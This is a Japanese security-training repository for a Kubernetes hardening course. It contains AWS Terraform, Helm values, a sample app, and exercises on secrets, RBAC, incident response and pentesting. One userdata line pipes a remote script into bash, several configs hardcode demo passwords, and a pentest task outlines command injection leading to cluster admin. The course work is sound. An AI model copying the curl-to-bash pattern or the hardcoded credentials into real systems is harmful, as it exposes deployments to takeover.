├── 00_setup ├── aws │ ├── .tool-versions │ ├── provider.tf │ ├── locals.tf │ ├── environments │ │ └── prd │ │ │ ├── userdata-slim.bash │ │ │ └── main.tf │ ├── terraform.tf │ ├── vpc.tf │ ├── variables.tf │ ├── iam.tf │ └── ec2.tf ├── k8s │ ├── helm │ │ ├── values │ │ │ ├── metrics-server.values.yaml │ │ │ ├── tetragon.values.yaml │ │ │ ├── cert-manager.values.yaml │ │ │ ├── harbor.values.yaml │ │ │ ├── ingress-nginx.values.yaml │ │ │ ├── promtail.values.yaml │ │ │ ├── openclarity.values.yaml │ │ │ ├── argocd.values.yaml │ │ │ ├── grafana.values.yaml │ │ │ ├── loki.values.yaml │ │ │ ├── cilium.values.yaml │ │ │ ├── vault.values.yaml │ │ │ ├── external-secrets.values.yaml │ │ │ ├── keycloak.values.yaml │ │ │ ├── gitlab.values.yaml │ │ │ └── k8s-event-exporter.values.yaml │ │ ├── README.md │ │ └── helmfile.yaml │ ├── kind │ │ ├── audit-policy.yaml │ │ └── kind-config.yaml │ └── manifests │ │ ├── hubble-ingress.yaml │ │ └── selfsigned-clusterissuer.yaml ├── images │ ├── gitlab │ │ ├── new_tag.png │ │ ├── projects.png │ │ ├── create_group.png │ │ └── turn_off_auto_devops.png │ └── harbor │ │ ├── new_user.png │ │ ├── new_project.png │ │ └── add_user_to_project.png ├── scripts │ └── kind-load-certfile.sh ├── README.md ├── operation.md └── vault_eso_tutorial.md ├── 03_security_assessment ├── dfd.md ├── DFD_muhai.png ├── training.md ├── threat_lits.md └── README.md ├── 01_scenario ├── images │ └── muhai.png ├── training.md └── README.md ├── app ├── frontend │ ├── README.md │ ├── Dockerfile.dev │ ├── src │ │ ├── index.tsx │ │ └── App.tsx │ ├── public │ │ └── index.html │ ├── Dockerfile │ ├── tsconfig.json │ ├── package.json │ └── .gitlab-ci.yml ├── package.json ├── .gitignore ├── backend │ ├── Dockerfile │ ├── Dockerfile.dev │ ├── wait-for-it.sh │ ├── .gitlab-ci.yml │ ├── go.mod │ ├── go.sum │ └── main.go ├── README.md ├── infra │ └── manifests │ │ ├── services.yaml │ │ ├── frontend-deployment.yaml │ │ ├── ingress.yaml │ │ ├── backend-deployment.yaml │ │ └── db-deployment.yaml ├── docker-compose.yml ├── package-lock.json └── db │ ├── init.sql │ └── init-english.sql ├── 04_hardening ├── trainings │ ├── secret_management.md │ ├── auth.md │ ├── incident_response.md │ ├── kspm.md │ ├── pentest.md │ ├── ransomware.md │ ├── runtime_security.md │ ├── networkpolicy.md │ ├── admission_control.md │ └── image_security.md ├── training.md └── README.md ├── .gitignore ├── README.md ├── LICENSE └── 02_cloud_native_sec └── training.md /00_setup/aws/.tool-versions: -------------------------------------------------------------------------------- 1 | terraform 1.12.2 2 | -------------------------------------------------------------------------------- /00_setup/aws/provider.tf: -------------------------------------------------------------------------------- 1 | provider "aws" { 2 | region = var.region 3 | } 4 | -------------------------------------------------------------------------------- /03_security_assessment/dfd.md: -------------------------------------------------------------------------------- 1 | # 参考: 無敗塾のデータフロー図 2 | 3 | ![](./DFD_muhai.png) 4 | -------------------------------------------------------------------------------- /00_setup/k8s/helm/values/metrics-server.values.yaml: -------------------------------------------------------------------------------- 1 | args: 2 | - --kubelet-insecure-tls -------------------------------------------------------------------------------- /00_setup/k8s/helm/values/tetragon.values.yaml: -------------------------------------------------------------------------------- 1 | tetragon: 2 | hostProcPath: "/procHost" 3 | -------------------------------------------------------------------------------- /00_setup/aws/locals.tf: -------------------------------------------------------------------------------- 1 | locals { 2 | tags = { 3 | Environment = var.env 4 | } 5 | } 6 | -------------------------------------------------------------------------------- /00_setup/k8s/helm/README.md: -------------------------------------------------------------------------------- 1 | 2 | ## Installation 3 | 4 | ```bash 5 | helmfile sync -f helmfile.yaml 6 | ``` 7 | -------------------------------------------------------------------------------- /00_setup/k8s/kind/audit-policy.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: audit.k8s.io/v1 2 | kind: Policy 3 | rules: 4 | - level: Metadata 5 | -------------------------------------------------------------------------------- /01_scenario/images/muhai.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kyohmizu/seccamp2025-B4/HEAD/01_scenario/images/muhai.png -------------------------------------------------------------------------------- /00_setup/images/gitlab/new_tag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kyohmizu/seccamp2025-B4/HEAD/00_setup/images/gitlab/new_tag.png -------------------------------------------------------------------------------- /00_setup/images/gitlab/projects.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kyohmizu/seccamp2025-B4/HEAD/00_setup/images/gitlab/projects.png -------------------------------------------------------------------------------- /00_setup/images/harbor/new_user.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kyohmizu/seccamp2025-B4/HEAD/00_setup/images/harbor/new_user.png -------------------------------------------------------------------------------- /03_security_assessment/DFD_muhai.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kyohmizu/seccamp2025-B4/HEAD/03_security_assessment/DFD_muhai.png -------------------------------------------------------------------------------- /00_setup/images/gitlab/create_group.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kyohmizu/seccamp2025-B4/HEAD/00_setup/images/gitlab/create_group.png -------------------------------------------------------------------------------- /00_setup/images/harbor/new_project.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kyohmizu/seccamp2025-B4/HEAD/00_setup/images/harbor/new_project.png -------------------------------------------------------------------------------- /00_setup/images/gitlab/turn_off_auto_devops.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kyohmizu/seccamp2025-B4/HEAD/00_setup/images/gitlab/turn_off_auto_devops.png -------------------------------------------------------------------------------- /00_setup/images/harbor/add_user_to_project.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kyohmizu/seccamp2025-B4/HEAD/00_setup/images/harbor/add_user_to_project.png -------------------------------------------------------------------------------- /app/frontend/README.md: -------------------------------------------------------------------------------- 1 | # Frontend (React) 2 | 3 | このディレクトリは、オンライン学習サービスのReactフロントエンドです。 4 | 5 | - ユーザー認証 6 | - コース一覧表示 7 | - 学習進捗管理 8 | - 管理画面(教材登録) 9 | -------------------------------------------------------------------------------- /app/frontend/Dockerfile.dev: -------------------------------------------------------------------------------- 1 | FROM node:20-slim 2 | WORKDIR /app 3 | COPY package.json ./ 4 | RUN npm install 5 | COPY . . 6 | EXPOSE 3000 7 | CMD ["npm", "start"] 8 | -------------------------------------------------------------------------------- /00_setup/aws/environments/prd/userdata-slim.bash: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | curl -L https://raw.githubusercontent.com/kyohmizu/seccamp2025-B4/refs/heads/main/00_setup/scripts/userdata.bash | bash 3 | -------------------------------------------------------------------------------- /00_setup/aws/terraform.tf: -------------------------------------------------------------------------------- 1 | terraform { 2 | required_version = ">= 1.12.2" 3 | 4 | required_providers { 5 | aws = { 6 | source = "hashicorp/aws" 7 | version = ">= 6.2" 8 | } 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /app/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "dependencies": { 3 | "react": "^19.1.0", 4 | "react-dom": "^19.1.0" 5 | }, 6 | "devDependencies": { 7 | "@types/react": "^19.1.8", 8 | "@types/react-dom": "^19.1.6" 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /app/.gitignore: -------------------------------------------------------------------------------- 1 | # Crash log files 2 | crash.log 3 | crash.*.log 4 | 5 | # Application 6 | **/node_modules/ 7 | backend/backend 8 | frontend/*.tsbuildinfo 9 | 10 | # Others 11 | .DS_Store 12 | *.log 13 | *.cache 14 | *.db 15 | .env 16 | -------------------------------------------------------------------------------- /app/backend/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM golang:1.23-alpine AS build 2 | WORKDIR /app 3 | COPY go.mod go.sum ./ 4 | RUN go mod download 5 | COPY main.go ./ 6 | RUN go build -o backend main.go 7 | 8 | FROM alpine:3.16 9 | WORKDIR /app 10 | COPY --from=build /app/backend ./backend 11 | EXPOSE 8000 12 | CMD ["./backend"] 13 | -------------------------------------------------------------------------------- /app/frontend/src/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react"; 2 | import ReactDOM from "react-dom/client"; 3 | import App from "./App"; 4 | 5 | const root = ReactDOM.createRoot(document.getElementById("root") as HTMLElement); 6 | root.render( 7 | 8 | 9 | 10 | ); 11 | -------------------------------------------------------------------------------- /app/frontend/public/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 無敗塾 オンライン学習サービス 7 | 8 | 9 |
10 | 11 | 12 | -------------------------------------------------------------------------------- /app/frontend/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:20-slim AS build 2 | WORKDIR /app 3 | COPY package.json tsconfig.json ./ 4 | COPY public ./public 5 | COPY src ./src 6 | RUN npm install && npm run build 7 | 8 | FROM nginx:1.20-alpine 9 | COPY --from=build /app/build /usr/share/nginx/html 10 | EXPOSE 80 11 | CMD ["nginx", "-g", "daemon off;"] 12 | -------------------------------------------------------------------------------- /00_setup/aws/vpc.tf: -------------------------------------------------------------------------------- 1 | module "vpc" { 2 | source = "terraform-aws-modules/vpc/aws" 3 | version = "~> 5.0" 4 | 5 | name = "vpc-${var.env}" 6 | cidr = var.vpc_cidr 7 | 8 | azs = ["${var.region}a"] 9 | public_subnets = [var.vpc_subnet] 10 | 11 | map_public_ip_on_launch = true 12 | 13 | tags = local.tags 14 | } 15 | -------------------------------------------------------------------------------- /app/backend/Dockerfile.dev: -------------------------------------------------------------------------------- 1 | FROM golang:1.23-alpine AS build 2 | WORKDIR /app 3 | COPY main.go ./ 4 | RUN go mod init backend && go mod tidy && go build -o backend main.go 5 | 6 | FROM alpine:3.16 7 | WORKDIR /app 8 | COPY --from=build /app/backend ./backend 9 | COPY wait-for-it.sh ./wait-for-it.sh 10 | EXPOSE 8000 11 | CMD ["./backend"] 12 | -------------------------------------------------------------------------------- /app/backend/wait-for-it.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # wait-for-it.sh: Wait until a host:port is available 3 | # Usage: wait-for-it.sh host:port -- command args 4 | 5 | HOSTPORT="$1" 6 | shift 7 | 8 | HOST=$(echo $HOSTPORT | cut -d: -f1) 9 | PORT=$(echo $HOSTPORT | cut -d: -f2) 10 | 11 | while : 12 | do 13 | nc -z "$HOST" "$PORT" && break 14 | echo "Waiting for $HOST:$PORT..." 15 | sleep 1 16 | done 17 | exec "$@" 18 | -------------------------------------------------------------------------------- /04_hardening/trainings/secret_management.md: -------------------------------------------------------------------------------- 1 | # シークレット管理 2 | 3 | ## 課題1: HashiCorp Vaultの導入 4 | 5 | ### ステップ 6 | 1. HashiCorp Vaultをクラスタにインストールし、初期設定を実施してください 7 | 2. **[発展]** 適切な権限ポリシーを設定し、最小権限の原則を適用してください 8 | 9 | ## 課題2: External Secrets Operatorの導入 10 | 11 | ### ステップ 12 | 1. External Secrets Operatorをクラスタにインストールしてください 13 | 2. VaultからKubernetes Secretsへの同期を設定してください 14 | 3. アプリケーションのマニフェストを修正し、Vaultから取得されるシークレットを使用するようにしてください 15 | 4. **[発展]** シークレットのローテーションを検討してください 16 | 17 | ヒント: [Vault初期化とExternal Secrets設定例](../../00_setup/vault_eso_tutorial.md) 18 | -------------------------------------------------------------------------------- /00_setup/k8s/helm/values/cert-manager.values.yaml: -------------------------------------------------------------------------------- 1 | global: 2 | rbac: 3 | create: true 4 | 5 | crds: 6 | enabled: true 7 | 8 | resources: 9 | requests: 10 | cpu: 30m 11 | memory: 64Mi 12 | limits: 13 | memory: 64Mi 14 | 15 | webhook: 16 | resources: 17 | requests: 18 | cpu: 20m 19 | memory: 80Mi 20 | limits: 21 | memory: 100Mi 22 | 23 | cainjector: 24 | enabled: true 25 | resources: 26 | requests: 27 | cpu: 20m 28 | memory: 80Mi 29 | limits: 30 | memory: 100Mi 31 | 32 | replicaCount: 1 33 | -------------------------------------------------------------------------------- /app/frontend/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "es6", 4 | "lib": ["dom", "dom.iterable", "esnext"], 5 | "allowJs": true, 6 | "skipLibCheck": true, 7 | "esModuleInterop": true, 8 | "allowSyntheticDefaultImports": true, 9 | "strict": true, 10 | "forceConsistentCasingInFileNames": true, 11 | "noFallthroughCasesInSwitch": true, 12 | "module": "esnext", 13 | "moduleResolution": "node", 14 | "resolveJsonModule": true, 15 | "isolatedModules": true, 16 | "noEmit": true, 17 | "jsx": "react-jsx" 18 | }, 19 | "include": ["src"] 20 | } 21 | -------------------------------------------------------------------------------- /app/README.md: -------------------------------------------------------------------------------- 1 | # オンライン学習サービス サンプルアプリケーション 2 | 3 | このディレクトリは、Kubernetes上で動作するオンライン学習サービスのサンプルWebアプリケーションです。 4 | 5 | ## 構成 6 | - バックエンド: Python (FastAPI) 7 | - フロントエンド: React (TypeScript) 8 | - データベース: MariaDB 9 | - 認証: JWTベース 10 | - CI/CD: GitHub Actions 11 | - デプロイ: Kubernetesマニフェスト/Helmチャート 12 | 13 | ## サービス機能 14 | - ユーザー登録・ログイン 15 | - コース一覧・詳細表示 16 | - 学習進捗管理 17 | - 管理者による教材登録 18 | - APIエンドポイント(REST) 19 | - 管理画面(管理者用UI) 20 | 21 | ## ディレクトリ構成 22 | - backend/ ... FastAPI サーバー 23 | - frontend/ ... React UI 24 | - manifests/ ... Kubernetes用マニフェスト 25 | - db/ ... MariaDB用初期化SQL等 26 | - .github/ ... CI/CDワークフロー 27 | -------------------------------------------------------------------------------- /04_hardening/trainings/auth.md: -------------------------------------------------------------------------------- 1 | # 認証・認可 2 | 3 | ## 課題1: OpenID Connect (OIDC) 認証の実装 4 | 5 | 現在のクラスタアクセスは管理が困難で、セキュリティリスクが高い状態です。OIDCプロバイダーを使用した統一的な認証システムを導入します。 6 | 7 | ### ステップ 8 | 1. 認証プロバイダをクラスタに導入してください 9 | 2. kubectl の設定を更新し、OIDC認証でクラスタにアクセスできるようにしてください 10 | 3. gitlabやharborなどの認証をOIDC経由に変更してください 11 | 12 | ## 課題2: 細やかなRBAC設計 13 | 14 | 最小権限の原則に基づいて、各ユーザーとアプリケーションに必要最小限の権限のみを付与する詳細なRBAC設計を行います。 15 | 16 | ### ステップ 17 | 1. 組織の役割に基づいたRole定義を作成してください: 18 | - 開発者用Role(開発環境へのアクセス権限) 19 | - 運用担当者用Role(本番環境でのメンテナンス権限) 20 | - 監査担当者用Role(読み取り専用権限) 21 | 2. 名前空間レベルでの権限分離を実装してください 22 | 3. **[発展]** 緊急時の管理者アクセス手順を検討してください 23 | -------------------------------------------------------------------------------- /00_setup/k8s/manifests/hubble-ingress.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: networking.k8s.io/v1 2 | kind: Ingress 3 | metadata: 4 | name: hubble-ingress 5 | namespace: kube-system 6 | annotations: 7 | nginx.ingress.kubernetes.io/ssl-redirect: "true" 8 | cert-manager.io/cluster-issuer: "root-ca-issuer" 9 | spec: 10 | tls: 11 | - hosts: 12 | - hubble.seccamp.com 13 | secretName: hubble-tls 14 | rules: 15 | - host: hubble.seccamp.com 16 | http: 17 | paths: 18 | - path: / 19 | pathType: Prefix 20 | backend: 21 | service: 22 | name: hubble-ui 23 | port: 24 | number: 80 25 | -------------------------------------------------------------------------------- /00_setup/aws/variables.tf: -------------------------------------------------------------------------------- 1 | variable "instance_name" { 2 | type = string 3 | } 4 | 5 | variable "env" { 6 | type = string 7 | } 8 | 9 | variable "region" { 10 | type = string 11 | default = "ap-northeast-1" 12 | } 13 | 14 | variable "instances" { 15 | type = map(map(any)) 16 | } 17 | 18 | variable "ami" { 19 | type = string 20 | default = "ami-067f9151a94af1e4f" 21 | } 22 | 23 | variable "user_data" { 24 | type = string 25 | default = "" 26 | } 27 | 28 | variable "vpc_cidr" { 29 | type = string 30 | default = "10.99.0.0/18" 31 | } 32 | 33 | variable "vpc_subnet" { 34 | type = string 35 | default = "10.99.0.0/24" 36 | } 37 | -------------------------------------------------------------------------------- /00_setup/k8s/helm/values/harbor.values.yaml: -------------------------------------------------------------------------------- 1 | expose: 2 | type: ingress 3 | tls: 4 | enabled: true 5 | certSource: secret 6 | secret: 7 | secretName: harbor-tls 8 | ingress: 9 | hosts: 10 | core: harbor.seccamp.com 11 | controller: default 12 | className: nginx 13 | annotations: 14 | nginx.ingress.kubernetes.io/ssl-redirect: "true" 15 | nginx.ingress.kubernetes.io/proxy-body-size: "0" 16 | cert-manager.io/cluster-issuer: "root-ca-issuer" 17 | externalURL: https://harbor.seccamp.com 18 | harborAdminPassword: "harboradminpassword" 19 | database: 20 | type: internal 21 | persistence: 22 | enabled: true 23 | -------------------------------------------------------------------------------- /04_hardening/trainings/incident_response.md: -------------------------------------------------------------------------------- 1 | # インシデント対応 2 | 3 | ## 課題1: 不審なPodの発見と初期対応 4 | 5 | 監視システムから「未承認のPodがクラスタに作成されている」という報告を受けました。直ちに調査と初期対応を行う必要があります。 6 | 7 | ### ステップ 8 | 1. クラスタ内を調査し、不審なPodを特定してください 9 | 2. 不審なPodの情報を収集してください: 10 | - 作成日時と作成者 11 | - 使用しているイメージとタグ 12 | - 実行中のプロセス 13 | 3. 攻撃の侵入経路(初期アクセス)を特定してください 14 | 4. インシデントの影響範囲を評価してください 15 | 5. 適切な初期封じ込め措置を実施してください 16 | 6. **[発展]** 再発防止策を検討してください 17 | 18 |
ヒント: インシデントの原因と対応方法 19 | 20 | パブリックなコードリポジトリにKubeconfigファイルが誤ってコミットされ、認証情報が漏洩した可能性があります。 21 | - 漏洩した認証情報でアクセス可能なリソースの調査 22 | - 漏洩した認証情報の無効化 23 | 24 | Kubernetes の監査ログをGrafanaから確認してみましょう。 25 | 26 |
27 | -------------------------------------------------------------------------------- /00_setup/k8s/helm/values/ingress-nginx.values.yaml: -------------------------------------------------------------------------------- 1 | controller: 2 | config: 3 | use-forwarded-headers: "true" 4 | metrics: 5 | enabled: true 6 | nodeSelector: 7 | kubernetes.io/hostname: kind-control-plane 8 | tolerations: 9 | - effect: NoSchedule 10 | key: node-role.kubernetes.io/control-plane 11 | operator: Exists 12 | ingressClassResource: 13 | default: true 14 | admissionWebhooks: 15 | enabled: false 16 | service: 17 | type: NodePort 18 | ports: 19 | http: 80 20 | https: 443 21 | nodePorts: 22 | http: 30080 23 | https: 30443 24 | targetPorts: 25 | http: http 26 | https: https 27 | -------------------------------------------------------------------------------- /00_setup/k8s/helm/values/promtail.values.yaml: -------------------------------------------------------------------------------- 1 | nodeSelector: 2 | kubernetes.io/hostname: kind-control-plane 3 | 4 | config: 5 | clients: 6 | - url: http://loki-gateway/loki/api/v1/push 7 | 8 | snippets: 9 | scrapeConfigs: | 10 | - job_name: audit-logs 11 | static_configs: 12 | - targets: 13 | - localhost 14 | labels: 15 | job: audit-logs 16 | __path__: /var/log/kubernetes/**/*.log 17 | 18 | extraVolumes: 19 | - name: kubernetes 20 | hostPath: 21 | path: /var/log/kubernetes 22 | 23 | extraVolumeMounts: 24 | - name: kubernetes 25 | mountPath: /var/log/kubernetes 26 | readOnly: true 27 | -------------------------------------------------------------------------------- /00_setup/aws/iam.tf: -------------------------------------------------------------------------------- 1 | data "aws_iam_policy_document" "ssm_role" { 2 | statement { 3 | actions = ["sts:AssumeRole"] 4 | principals { 5 | type = "Service" 6 | identifiers = ["ec2.amazonaws.com"] 7 | } 8 | } 9 | } 10 | 11 | resource "aws_iam_instance_profile" "ssm_role" { 12 | name = "EC2RoleforSSM" 13 | role = aws_iam_role.ssm_role.name 14 | } 15 | 16 | resource "aws_iam_role" "ssm_role" { 17 | name = "EC2RoleforSSM" 18 | assume_role_policy = data.aws_iam_policy_document.ssm_role.json 19 | } 20 | 21 | resource "aws_iam_role_policy_attachment" "ssm_role" { 22 | role = aws_iam_role.ssm_role.name 23 | policy_arn = "arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore" 24 | } 25 | -------------------------------------------------------------------------------- /00_setup/k8s/manifests/selfsigned-clusterissuer.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: cert-manager.io/v1 2 | kind: ClusterIssuer 3 | metadata: 4 | name: root-ca-issuer-selfsigned 5 | spec: 6 | selfSigned: {} 7 | --- 8 | apiVersion: cert-manager.io/v1 9 | kind: Certificate 10 | metadata: 11 | name: root-ca 12 | namespace: cert-manager 13 | spec: 14 | isCA: true 15 | commonName: seccamp.com 16 | secretName: root-ca-secret 17 | privateKey: 18 | algorithm: ECDSA 19 | size: 256 20 | issuerRef: 21 | name: root-ca-issuer-selfsigned 22 | kind: ClusterIssuer 23 | group: cert-manager.io 24 | --- 25 | apiVersion: cert-manager.io/v1 26 | kind: ClusterIssuer 27 | metadata: 28 | name: root-ca-issuer 29 | spec: 30 | ca: 31 | secretName: root-ca-secret -------------------------------------------------------------------------------- /00_setup/k8s/helm/values/openclarity.values.yaml: -------------------------------------------------------------------------------- 1 | orchestrator: 2 | provider: kubernetes 3 | serviceAccount: 4 | automountServiceAccountToken: true 5 | 6 | gateway: 7 | ingress: 8 | enabled: true 9 | annotations: 10 | nginx.ingress.kubernetes.io/proxy-buffer-size: "8k" 11 | nginx.ingress.kubernetes.io/ssl-redirect: "true" 12 | cert-manager.io/cluster-issuer: "root-ca-issuer" 13 | ingressClassName: nginx 14 | hosts: 15 | - host: openclarity.seccamp.com 16 | paths: 17 | - pathType: Prefix 18 | path: / 19 | tls: 20 | - secretName: openclarity-tls 21 | hosts: 22 | - openclarity.seccamp.com 23 | 24 | postgresql: 25 | auth: 26 | username: openclarity 27 | password: ocpostgresqlpassword 28 | -------------------------------------------------------------------------------- /04_hardening/trainings/kspm.md: -------------------------------------------------------------------------------- 1 | # Kubernetesセキュリティポスチャー管理(KSPM) 2 | 3 | ## 課題1: 現在のセキュリティポスチャーの評価 4 | 5 | セキュリティ対策を適切に実装するためには、まず現在のクラスタのセキュリティ状況を正確に把握する必要があります。 6 | 7 | ### ステップ 8 | 1. `trivy k8s`を使用してクラスタ全体のセキュリティスキャンを実行してください 9 | 2. CISベンチマーク違反項目を特定してください 10 | 3. 各問題の潜在的なリスクと影響範囲を評価してください 11 | 4. **[発展]** trivy 以外のスキャンツールを使い、機能や検出項目を比較してみましょう 12 | 13 | スキャンツール例: 14 | - https://github.com/krishpyishere/k8ssecurity 15 | 16 | ## 課題2: 高優先度のセキュリティ問題の修正 17 | 18 | Critical および High レベルのセキュリティ問題には、迅速な対応が必要です。 19 | 20 | ### ステップ 21 | 1. 検出された Critical/High レベルの問題を修正してください 22 | 2. 修正前後でのスキャン結果を比較してください 23 | 3. 修正によるアプリケーションへの影響を検証してください 24 | 25 | ## 課題3: 継続的なコンプライアンス監視 26 | 27 | セキュリティポスチャーは時間とともに変化するため、継続的な監視と評価が必要です。 28 | 29 | ### ステップ 30 | 1. 定期的なセキュリティスキャンを自動化してください 31 | 2. コンプライアンス違反を検出するアラートシステムを構築してください 32 | -------------------------------------------------------------------------------- /app/infra/manifests/services.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Service 3 | metadata: 4 | name: backend 5 | namespace: seccamp-app 6 | spec: 7 | selector: 8 | app: backend 9 | ports: 10 | - protocol: TCP 11 | port: 8000 12 | targetPort: 8000 13 | type: ClusterIP 14 | --- 15 | apiVersion: v1 16 | kind: Service 17 | metadata: 18 | name: frontend 19 | namespace: seccamp-app 20 | spec: 21 | selector: 22 | app: frontend 23 | ports: 24 | - protocol: TCP 25 | port: 80 26 | targetPort: 80 27 | type: ClusterIP 28 | --- 29 | apiVersion: v1 30 | kind: Service 31 | metadata: 32 | name: db 33 | namespace: seccamp-app 34 | spec: 35 | selector: 36 | app: db 37 | ports: 38 | - protocol: TCP 39 | port: 3306 40 | targetPort: 3306 41 | type: ClusterIP 42 | -------------------------------------------------------------------------------- /00_setup/k8s/helm/values/argocd.values.yaml: -------------------------------------------------------------------------------- 1 | global: 2 | domain: argocd.seccamp.com 3 | server: 4 | service: 5 | type: ClusterIP 6 | ingress: 7 | annotations: 8 | nginx.ingress.kubernetes.io/connection-proxy-header: "keep-alive" 9 | nginx.ingress.kubernetes.io/ssl-redirect: "true" 10 | cert-manager.io/cluster-issuer: "root-ca-issuer" 11 | enabled: true 12 | hostname: argocd.seccamp.com 13 | ingressClassName: nginx 14 | path: / 15 | tls: true 16 | extraTls: 17 | - hosts: 18 | - argocd.seccamp.com 19 | secretName: argocd-tls 20 | certificate: 21 | enabled: false 22 | controller: 23 | replicas: 1 24 | repoServer: 25 | replicas: 1 26 | applicationSet: 27 | enabled: true 28 | configs: 29 | cm: 30 | admin.enabled: true 31 | params: 32 | server.insecure: "true" 33 | -------------------------------------------------------------------------------- /app/infra/manifests/frontend-deployment.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: apps/v1 2 | kind: Deployment 3 | metadata: 4 | name: frontend 5 | namespace: seccamp-app 6 | spec: 7 | replicas: 1 8 | selector: 9 | matchLabels: 10 | app: frontend 11 | template: 12 | metadata: 13 | labels: 14 | app: frontend 15 | spec: 16 | containers: 17 | - name: frontend 18 | image: harbor.seccamp.com/seccamp2025/seccamp-frontend:v1.0 19 | imagePullPolicy: Always 20 | workingDir: /app 21 | ports: 22 | - containerPort: 3000 23 | env: 24 | - name: NODE_ENV 25 | value: "production" 26 | volumeMounts: 27 | - name: app-src 28 | mountPath: /app 29 | imagePullSecrets: 30 | - name: harbor-cred 31 | volumes: 32 | - name: app-src 33 | emptyDir: {} -------------------------------------------------------------------------------- /app/frontend/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "seccamp2025-frontend", 3 | "version": "0.1.0", 4 | "private": true, 5 | "dependencies": { 6 | "@emotion/react": "^11.14.0", 7 | "@emotion/styled": "^11.14.1", 8 | "@mui/icons-material": "^7.2.0", 9 | "@mui/material": "^7.2.0", 10 | "axios": "^1.6.0", 11 | "react": "^18.2.0", 12 | "react-dom": "^18.2.0" 13 | }, 14 | "devDependencies": { 15 | "@types/react": "^18.2.55", 16 | "@types/react-dom": "^18.2.19", 17 | "react-scripts": "^5.0.1", 18 | "typescript": "4.9.5" 19 | }, 20 | "scripts": { 21 | "start": "react-scripts start", 22 | "build": "react-scripts build" 23 | }, 24 | "browserslist": { 25 | "production": [ 26 | ">0.2%", 27 | "not dead", 28 | "not op_mini all" 29 | ], 30 | "development": [ 31 | "last 1 chrome version", 32 | "last 1 firefox version", 33 | "last 1 safari version" 34 | ] 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /00_setup/k8s/helm/values/grafana.values.yaml: -------------------------------------------------------------------------------- 1 | resources: 2 | requests: 3 | cpu: 100m 4 | memory: 128Mi 5 | limits: 6 | memory: 128Mi 7 | 8 | deploymentStrategy: 9 | type: Recreate 10 | 11 | persistence: 12 | type: pvc 13 | enabled: true 14 | size: 3Gi 15 | 16 | grafana.ini: 17 | server: 18 | root_url: https://grafana.seccamp.com/ 19 | 20 | ingress: 21 | enabled: true 22 | ingressClassName: nginx 23 | annotations: 24 | nginx.ingress.kubernetes.io/proxy-body-size: "0" 25 | nginx.ingress.kubernetes.io/ssl-redirect: "true" 26 | cert-manager.io/cluster-issuer: "root-ca-issuer" 27 | path: / 28 | pathType: Prefix 29 | hosts: 30 | - grafana.seccamp.com 31 | tls: 32 | - secretName: grafana-tls 33 | hosts: 34 | - grafana.seccamp.com 35 | 36 | initChownData: 37 | enabled: false 38 | 39 | datasources: 40 | datasources.yaml: 41 | apiVersion: 1 42 | datasources: 43 | - name: Loki 44 | type: loki 45 | url: http://loki:3100 46 | -------------------------------------------------------------------------------- /00_setup/k8s/helm/values/loki.values.yaml: -------------------------------------------------------------------------------- 1 | deploymentMode: SingleBinary 2 | loki: 3 | commonConfig: 4 | replication_factor: 1 5 | storage: 6 | type: 'filesystem' 7 | schemaConfig: 8 | configs: 9 | - from: "2024-01-01" 10 | store: tsdb 11 | index: 12 | prefix: loki_index_ 13 | period: 24h 14 | object_store: filesystem 15 | schema: v13 16 | auth_enabled: false 17 | 18 | singleBinary: 19 | replicas: 1 20 | read: 21 | replicas: 0 22 | backend: 23 | replicas: 0 24 | write: 25 | replicas: 0 26 | 27 | resultsCache: 28 | enabled: false 29 | chunksCache: 30 | enabled: false 31 | 32 | ingress: 33 | enabled: true 34 | ingressClassName: nginx 35 | annotations: 36 | nginx.ingress.kubernetes.io/proxy-body-size: "0" 37 | nginx.ingress.kubernetes.io/ssl-redirect: "true" 38 | cert-manager.io/cluster-issuer: "root-ca-issuer" 39 | hosts: 40 | - loki.seccamp.com 41 | tls: 42 | - hosts: 43 | - loki.seccamp.com 44 | secretName: loki-tls 45 | -------------------------------------------------------------------------------- /04_hardening/trainings/pentest.md: -------------------------------------------------------------------------------- 1 | # 簡易ペネトレーションテスト 2 | 3 | ## 課題1: シナリオに沿った攻撃演習 4 | 5 | アプリケーションには脆弱なエンドポイントがあります。脆弱性を利用してクラスタ内に侵入し、権限昇格や横展開を試してみましょう。 6 | 7 | 参考: [seccamp2024-B6 - 攻撃シナリオ](https://github.com/kyohmizu/seccamp2024-B6/blob/master/ch03_attacking_k8s/attack_scenario.md) 8 | 9 | ### ステップ 10 | 1. OSコマンドインジェクションでクラスタ内に侵入し、権限昇格や横展開を駆使してadmin権限を掌握します 11 | 12 |
